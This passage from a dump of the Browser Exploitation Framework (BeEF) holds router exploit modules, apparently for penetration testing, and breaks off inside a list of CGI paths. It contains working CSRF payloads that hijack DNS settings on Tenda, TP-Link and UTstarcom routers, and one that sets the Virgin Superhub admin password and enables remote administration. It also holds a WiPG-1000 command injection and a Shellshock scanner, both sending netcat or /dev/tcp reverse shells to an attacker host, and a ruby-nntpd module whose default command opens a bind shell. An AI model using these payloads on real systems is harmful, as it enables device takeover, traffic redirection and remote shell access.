    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/40371/\n# https://www.exploit-db.com/exploits/41078/\n# https://www.exploit-db.com/exploits/41117/\n#\nbeef:\n    module:\n        tenda_adsl_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Tenda ADSL Router DNS Hijack\"\n            description: \"Attempts to change the DNS setting on Tenda ADSL2/2+ Modem 963281TAN, D840R and D820R routers.<br/><br/>These routers reportedly do not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/tenda_adsl_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Tenda_adsl_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/tplink_dns_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar dhcp_start = '192.168.1.100';\n\tvar dhcp_end   = '192.168.1.199';\n\tvar target  = 'http://<%= @rhost %>/userRpm/LanDhcpServerRpm.htm';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n\t// change DNS\n\tvar tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'dhcpserver', 'value':'1'},\n\t\t{'type':'hidden', 'name':'ip1', 'value':dhcp_start},\n\t\t{'type':'hidden', 'name':'ip2', 'value':dhcp_end},\n\t\t{'type':'hidden', 'name':'Lease', 'value':'120'},\n\t\t{'type':'hidden', 'name':'gateway', 'value':'0.0.0.0'},\n\t\t{'type':'hidden', 'name':'domain', 'value':''},\n\t\t{'type':'hidden', 'name':'dnsserver', 'value':dns1},\n\t\t{'type':'hidden', 'name':'dnsserver2', 'value':dns2},\n\t\t{'type':'hidden', 'name':'Save', 'value': unescape('%B1%A3+%B4%E6')}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(tplink_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/tplink_dns_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# CVE-2013-2645\n# http://securityevaluators.com/knowledge/case_studies/routers/tp-link_wr1043n.php\n# http://www.jakoblell.com/blog/2013/10/30/real-world-csrf-attack-hijacks-dns-server-configuration-of-tp-link-routers-2/\n# http://news.softpedia.com/news/Cybercriminals-Exploit-TP-Link-Router-CSRF-Vulnerabilities-to-Hijack-DNS-Settings-395545.shtml\n#\nbeef:\n    module:\n        tplink_dns_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"TP-Link DNS Hijack CSRF\"\n            description: \"Attempts to change the DNS setting on a TP-Link router (WR1043ND, TL-MR3020, TL-WDR3600).<br/><br/>The browser must be have an authenticated session on the router.<br/><br/>The list of affected devices includes:<br/>TP-Link WR1043ND V1 up to firmware version 3.3.12 build 120405<br/>TP-Link TL-MR3020 firmware version 3.14.2 Build 120817 Rel.55520n and version 3.15.2 Build 130326 Rel.58517n<br/>TL-WDR3600 firmware version 3.13.26 Build 130129 Rel.59449n and version 3.13.31 Build 130320 Rel.55761n.<br/><br/>This module has not been tested.\"\n            authors: [\"Jakob Lell\", \"Jacob Holcomb\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/tplink_dns_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Tplink_dns_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/utstarcom_wa3002g4_dns_hijack/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// config\n\tvar target  = 'http://<%= @rhost %>/dnscfg.cgi';\n\tvar dns1    = '<%= @dns1 %>';\n\tvar dns2    = '<%= @dns2 %>';\n\tvar timeout = 15;\n\n\t// validate DNS server IP addresses\n\tif (!beef.net.is_valid_ip(dns1)) {\n\t\tbeef.debug('Invalid Primary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Primary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_ip(dns2)) {\n\t\tbeef.debug('Invalid Secondary DNS server IP address was provided');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=an invalid Secondary DNS server IP address was provided\");\n\t\treturn;\n\t}\n\n        // change DNS\n        var utstarcom_wa3002G4_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, \"GET\", \"application/x-www-form-urlencoded\", [\n                {'type':'hidden', 'name':'dnsPrimary',   'value': dns1},\n                {'type':'hidden', 'name':'dnsSecondary', 'value': dns2},\n                {'type':'hidden', 'name':'dnsDynamic', 'value': '0'},\n                {'type':'hidden', 'name':'dnsRefresh', 'value': '1'}\n        ]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(utstarcom_wa3002G4_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/utstarcom_wa3002g4_dns_hijack/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# References:\n# https://www.exploit-db.com/exploits/42194/\n#\nbeef:\n    module:\n        utstarcom_wa3002g4_dns_hijack:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"UTstarcom WA3002G4 DNS Hijack\"\n            description: \"Attempts to change the DNS setting on a UTstarcom WA3002G4 router.<br/><br/>This router reportedly does not require authentication to change the DNS servers.<br/><br/>This module has not been tested.\"\n            authors: [\"Todor Donev\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/utstarcom_wa3002g4_dns_hijack/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Utstarcom_wa3002g4_dns_hijack < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '192.168.1.1' },\n      { 'name' => 'dns1', 'ui_label' => 'Primary DNS Server', 'value' => '8.8.8.8' },\n      { 'name' => 'dns2', 'ui_label' => 'Secondary DNS Server', 'value' => '8.8.4.4' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/virgin_superhub_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway = '<%= @base %>'; \n\tvar passwd  = '<%= @password %>';\n\tvar port    = '<%= @port %>';\n\tvar timeout = 15;\n\n\tvar virgin_superhub_iframe1_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"goform/RgSecurity\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'NetgearPassword',        'value':passwd},\n\t\t{'type':'hidden', 'name':'NetgearPasswordReEnter', 'value':passwd},\n\t\t{'type':'hidden', 'name':'RestoreFactoryNo',       'value':'0x00'}\n\t]);\n\n\tvar virgin_superhub_iframe2_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"goform/RgServices\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'cbPortScanDetection',    'value':''}\n\t]);\n\n\tvar virgin_superhub_iframe3_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + \"goform/RgVMRemoteManagementRes\", \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'NetgearVMRmEnable',      'value':'0x01'},\n\t\t{'type':'hidden', 'name':'NetgearVMRmPortNumber',  'value':port}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(virgin_superhub_iframe1_<%= @command_id %>);\n\t\tdocument.body.removeChild(virgin_superhub_iframe2_<%= @command_id %>);\n\t\tdocument.body.removeChild(virgin_superhub_iframe3_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/virgin_superhub_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        virgin_superhub_csrf:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"Virgin Superhub CSRF\"\n            description: \"Attempts to enable remote administration, disable the firewall, and change the admin password on a Virgin Superhub router.\"\n            authors: [\"bcoles\", \"n0x00\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/virgin_superhub_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Virgin_superhub_csrf < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.100.1/' },\n      { 'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__' },\n      { 'name' => 'port', 'ui_label' => 'Desired port', 'value' => '31337' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/router/wipg1000_cmd_injection/command.js",
    "content": "//\n// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var timeout = 15;\n\n  var url = \"http://\" + rhost + \":\" + rport + \"/cgi-bin/rdfs.cgi\";\n  var fifo = '/tmp/' + Math.random().toString(36).substring(7);\n  var payload = 'mkfifo ' + fifo + '; nc ' + lhost + ' ' + lport + ' 0<' + fifo + ' | /bin/sh >' + fifo + ' 2>&1; rm ' + fifo;\n\n  beef.debug(\"[WiPG-1000 Command Injection] Sending payload: \" + url);\n  var wipg1000_cmd_injection_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(\n    url, 'POST', 'application/x-www-form-urlencoded', [\n      {'type':'hidden', 'name':'Client', 'value':';' + payload + ';'},\n      {'type':'hidden', 'name':'Download', 'value':'Download'}\n    ]);\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(wipg1000_cmd_injection_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/router/wipg1000_cmd_injection/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        wipg1000_cmd_injection:\n            enable: true\n            category: [\"Exploits\", \"Router\"]\n            name: \"WiPG-1000 Command Injection\"\n            description: \"This module exploits a <a href='https://www.redguard.ch/advisories/wepresent-wipg1000.txt'>command injection vulnerability</a> in WiPG-1000 routers.<br/>An authenticated session is not required.<br/><br/>Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local interface and port specified below.<br/><br/>This module has not been tested.\"\n            authors: [\"Matthias Brun\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/router/wipg1000_cmd_injection/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Wipg1000_cmd_injection < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost.to_s.eql?('0.0.0.0')\n\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.100.10' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/ruby_nntpd_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar rhost   = '<%= @rhost %>'; \n\tvar rport   = '<%= @rport %>';\n\tvar timeout = '<%= @timeout %>';\n\n\t// validate payload\n\ttry {\n\t\tvar cmd     = '<%= @cmd.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\t\tvar payload = '\\r\\neval `'+cmd+'`\\r\\nexit\\r\\n';\n\t} catch(e) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed payload: '+e.toString());\n\t\treturn;\n\t}\n\n\t// validate target details\n\tif (!rport || !rhost) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=malformed remote host or remote port');\n\t\treturn;\n\t}\n\tif (!beef.net.is_valid_port(rport)) {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=invalid remote port');\n\t\treturn;\n\t}\n\n\t// send commands\n\tvar nntpd_iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/index.html\", payload);\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=sent commands\");\n\n\t// clean up\n\tcleanup = function() {\n\t\tdocument.body.removeChild(nntpd_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/ruby_nntpd_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ruby_nntpd_cmd_exec:\n            enable: true\n            category: \"Exploits\"\n            name: \"ruby-nntpd Command Execution\"\n            description: \"This module uses the 'eval' verb in ruby-nntpd 0.01dev (default port 1119) to execute operating system commands.<br /><br />The target address can be on the hooked browser's subnet which is potentially not directly accessible from the Internet.<br/><br/>The results of the commands are not returned to BeEF.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\", \"C\"]\n                not_working: [\"IE\"]\n"
  },
  {
    "path": "modules/exploits/ruby_nntpd_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n###\n# ruby-nntpd homepage: http://code.google.com/p/ruby-nntpd/\n###\nclass Ruby_nntpd_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Remote Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport',   'ui_label' => 'Remote Port', 'value' => '1119' },\n      { 'name' => 'timeout', 'ui_label' => 'Timeout (s)', 'value' => '15' },\n      { 'name' => 'cmd',     'ui_label' => 'Commands',    'description' => 'Enter shell commands to execute.', 'type' => 'textarea', 'value' => 'nc -l -p 1337 -e /bin/sh',\n        'width' => '200px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] }) unless @datastore['result'].nil?\n    save({ 'fail' => @datastore['fail'] }) unless @datastore['fail'].nil?\n  end\nend\n"
  },
  {
    "path": "modules/exploits/shell_shock_scanner/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rproto = '<%= @rproto %>';\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var target = rproto + '://' + rhost + ':' + rport; \n  var method = '<%= @method %>';\n  var wait = '<%= @wait %>';\n\n  get_cgi = function(uri) {\n    try {\n      var payload = \"() { :;}; /bin/bash -c /bin/bash -i >& /dev/tcp/\"+lhost+\"/\"+lport+\" 0>&1 &\";\n      var xhr = new XMLHttpRequest();\n      xhr.open(method, target+uri, true);\n      xhr.onload = function () {\n      };\n      xhr.onreadystatechange = function () {\n        if (xhr.readyState == 4 && xhr.status == 200) {\n            beef.debug(\"[command #<%= @command_id %>] Response: \" + xhr.response);\n        }\n      }\n      xhr.setRequestHeader(\"Accept\", payload);\n      xhr.send(null);\n    } catch (e){\n      beef.debug(\"[command #<%= @command_id %>] Something went wrong: \" + e.message);\n    }\n  }\n\n  // add scripts to queue\n  var requests = new Array(\n<%=\n  scripts = []\n  File.open(\"#{$root_dir}/modules/exploits/shell_shock_scanner/shocker-cgi_list\", 'r') do |file_handle|\n    file_handle.each_line do |line|\n      uri = line.chomp!\n      next if uri =~ /^#/\n      next if uri.nil?\n      scripts << \"'#{uri}'\"\n    end\n  end\n  scripts.shuffle.join(\",\\n\")\n%>\n);\n\n  // process queue\n  beef.debug(\"[command #<%= @command_id %>] Starting Shellshock scan of \"+target+\" (\"+requests.length+\" URLs)\");\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=starting scan of \"+target+\" (\"+requests.length+\" URLs)\");\n  var timeout = wait * requests.length + 10;\n  var handle = setInterval(function() {\n    if (requests.length > 0) {\n      get_cgi(requests.pop());\n    } else cleanup();\n  }, wait*1000);\n\n  // clean up\n  cleanup = function() {\n    if (handle) {\n      beef.debug(\"[command #<%= @command_id %>] Killing timer [ID: \" + handle + \"]\");\n      clearInterval(handle);\n      handle = 0;\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=scan complete\");\n    }\n  }\n  setTimeout(\"cleanup();\", timeout*1000);\n\n});\n"
  },
  {
    "path": "modules/exploits/shell_shock_scanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        shell_shock_scanner:\n            enable: true\n            category: \"Exploits\"\n            name: \"Shell Shock Scanner (Reverse Shell)\"\n            description: \"This module attempts to get a reverse shell on the specified web server, blindly, by requesting ~400 potentially vulnerable CGI scripts. Each CGI is requested with a shellshock payload in the 'Accept' HTTP header.<br/>The list of CGI scripts was taken from <a href='https://github.com/nccgroup/shocker'>Shocker</a>.<br/><br/>The scan will take about 2 minutes with the default settings. Successful exploitation results in a reverse shell. Be sure to start your shell handler on the local port specified below.\"\n            authors: [\"Stephane Chazelas\", \"mz\", \"bmantra\", \"radoen\", \"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/shell_shock_scanner/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Shell_shock_scanner < BeEF::Core::Command\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'method', 'ui_label' => 'HTTP Method', 'value' => 'GET' },\n      { 'name' => 'rproto',\n        'type' => 'combobox',\n        'ui_label' => 'Target Protocol',\n        'store_type' => 'arraystore',\n        'store_fields' => ['rproto'],\n        'store_data' => [\n          ['http'],\n          ['https']\n        ],\n        'emptyText' => 'Select a protocol (HTTP/HTTPS)',\n        'valueField' => 'rproto',\n        'displayField' => 'rproto',\n        'mode' => 'local',\n        'autoWidth' => true },\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '127.0.0.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' },\n      { 'name' => 'wait', 'ui_label' => 'Wait between requests (s)', 'value' => '0.3', 'width' => '100px' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/shell_shock_scanner/shocker-cgi_list",
    "content": "# Resource file for shocker.py\n# List of pages/scripts potentially vulnerable to Shellshock\n# One per line, no commas, spaces, tabs, etc.\n# Credits to the following from whence many were borrowed:\n# https://github.com/mubix/shellshocker-pocs/blob/master/shell_sprayer.py\n# http://patrickpierson.us/wp-content/uploads/2014/09/shellshock.txt\n#  http://khalil-shreateh.com/khalil.shtml/index.php/websites/websites-security/201-ais-shellshock-scanning-tool-that-leverages-the-user-agent-header-against-a-large-list-of-possible-targets-written-in-c.html?showall=1\n# http://www.linuxfeed.org/2014/10/advanced-information-security-shellshock-scanner/\n# https://github.com/francisck/shellshock-cgi/blob/master/shellshock_cgi.py\n# http://shellshock.detectify.com\n/\n/admin.cgi\n/administrator.cgi\n/agora.cgi\n/aktivate/cgi-bin/catgy.cgi\n/analyse.cgi\n/apps/web/vs_diag.cgi\n/axis-cgi/buffer/command.cgi\n/b2-include/b2edit.showposts.php\n/bandwidth/index.cgi\n/bigconf.cgi\n/cartcart.cgi\n/cart.cgi\n/ccbill/whereami.cgi\n/cgi-bin/14all-1.1.cgi\n/cgi-bin/14all.cgi\n/cgi-bin/a1disp3.cgi\n/cgi-bin/a1stats/a1disp3.cgi\n/cgi-bin/a1stats/a1disp4.cgi\n/cgi-bin/addbanner.cgi\n/cgi-bin/add_ftp.cgi\n/cgi-bin/adduser.cgi\n/cgi-bin/admin/admin.cgi\n/cgi-bin/admin.cgi\n/cgi-bin/admin/getparam.cgi\n/cgi-bin/adminhot.cgi\n/cgi-bin/admin.pl\n/cgi-bin/admin/setup.cgi\n/cgi-bin/adminwww.cgi\n/cgi-bin/af.cgi\n/cgi-bin/aglimpse.cgi\n/cgi-bin/alienform.cgi\n/cgi-bin/AnyBoard.cgi\n/cgi-bin/architext_query.cgi\n/cgi-bin/astrocam.cgi\n/cgi-bin/AT-admin.cgi\n/cgi-bin/AT-generate.cgi\n/cgi-bin/auction/auction.cgi\n/cgi-bin/auktion.cgi\n/cgi-bin/ax-admin.cgi\n/cgi-bin/ax.cgi\n/cgi-bin/axs.cgi\n/cgi-bin/badmin.cgi\n/cgi-bin/banner.cgi\n/cgi-bin/bannereditor.cgi\n/cgi-bin/bb-ack.sh\n/cgi-bin/bb-histlog.sh\n/cgi-bin/bb-hist.sh\n/cgi-bin/bb-hostsvc.sh\n/cgi-bin/bb-replog.sh\n/cgi-bin/bb-rep.sh\n/cgi-bin/bbs_forum.cgi\n/cgi-bin/bigconf.cgi\n/cgi-bin/bizdb1-search.cgi\n/cgi-bin/blog/mt-check.cgi\n/cgi-bin/blog/mt-load.cgi\n/cgi-bin/bnbform.cgi\n/cgi-bin/book.cgi\n/cgi-bin/boozt/admin/index.cgi\n/cgi-bin/bsguest.cgi\n/cgi-bin/bslist.cgi\n/cgi-bin/build.cgi\n/cgi-bin/bulk/bulk.cgi\n/cgi-bin/cached_feed.cgi\n/cgi-bin/cachemgr.cgi\n/cgi-bin/calendar/index.cgi\n/cgi-bin/cartmanager.cgi\n/cgi-bin/cbmc/forums.cgi\n/cgi-bin/ccvsblame.cgi\n/cgi-bin/c_download.cgi\n/cgi-bin/cgforum.cgi\n/cgi-bin/.cgi\n/cgi-bin/cgi_process\n/cgi-bin/classified.cgi\n/cgi-bin/classifieds.cgi\n/cgi-bin/classifieds/classifieds.cgi\n/cgi-bin/classifieds/index.cgi\n/cgi-bin/.cobalt/alert/service.cgi\n/cgi-bin/.cobalt/message/message.cgi\n/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi\n/cgi-bin/commandit.cgi\n/cgi-bin/commerce.cgi\n/cgi-bin/common/listrec.pl\n/cgi-bin/compatible.cgi\n/cgi-bin/Count.cgi\n/cgi-bin/csChatRBox.cgi\n/cgi-bin/csGuestBook.cgi\n/cgi-bin/csLiveSupport.cgi\n/cgi-bin/CSMailto.cgi\n/cgi-bin/CSMailto/CSMailto.cgi\n/cgi-bin/csNews.cgi\n/cgi-bin/csNewsPro.cgi\n/cgi-bin/csPassword.cgi\n/cgi-bin/csPassword/csPassword.cgi\n/cgi-bin/csSearch.cgi\n/cgi-bin/csv_db.cgi\n/cgi-bin/cvsblame.cgi\n/cgi-bin/cvslog.cgi\n/cgi-bin/cvsquery.cgi\n/cgi-bin/cvsqueryform.cgi\n/cgi-bin/day5datacopier.cgi\n/cgi-bin/day5datanotifier.cgi\n/cgi-bin/db_manager.cgi\n/cgi-bin/dbman/db.cgi\n/cgi-bin/dcforum.cgi\n/cgi-bin/dcshop.cgi\n/cgi-bin/dfire.cgi\n/cgi-bin/diagnose.cgi\n/cgi-bin/dig.cgi\n/cgi-bin/directorypro.cgi\n/cgi-bin/download.cgi\n/cgi-bin/e87_Ba79yo87.cgi\n/cgi-bin/emu/html/emumail.cgi\n/cgi-bin/emumail.cgi\n/cgi-bin/emumail/emumail.cgi\n/cgi-bin/enter.cgi\n/cgi-bin/environ.cgi\n/cgi-bin/ezadmin.cgi\n/cgi-bin/ezboard.cgi\n/cgi-bin/ezman.cgi\n/cgi-bin/ezshopper2/loadpage.cgi\n/cgi-bin/ezshopper3/loadpage.cgi\n/cgi-bin/ezshopper/loadpage.cgi\n/cgi-bin/ezshopper/search.cgi\n/cgi-bin/faqmanager.cgi\n/cgi-bin/FileSeek2.cgi\n/cgi-bin/FileSeek.cgi\n/cgi-bin/finger.cgi\n/cgi-bin/flexform.cgi\n/cgi-bin/fom.cgi\n/cgi-bin/fom/fom.cgi\n/cgi-bin/FormHandler.cgi\n/cgi-bin/FormMail.cgi\n/cgi-bin/gbadmin.cgi\n/cgi-bin/gbook/gbook.cgi\n/cgi-bin/generate.cgi\n/cgi-bin/getdoc.cgi\n/cgi-bin/gH.cgi\n/cgi-bin/gm-authors.cgi\n/cgi-bin/gm.cgi\n/cgi-bin/gm-cplog.cgi\n/cgi-bin/guestbook.cgi\n/cgi-bin/handler\n/cgi-bin/handler.cgi\n/cgi-bin/handler/netsonar\n/cgi-bin/hit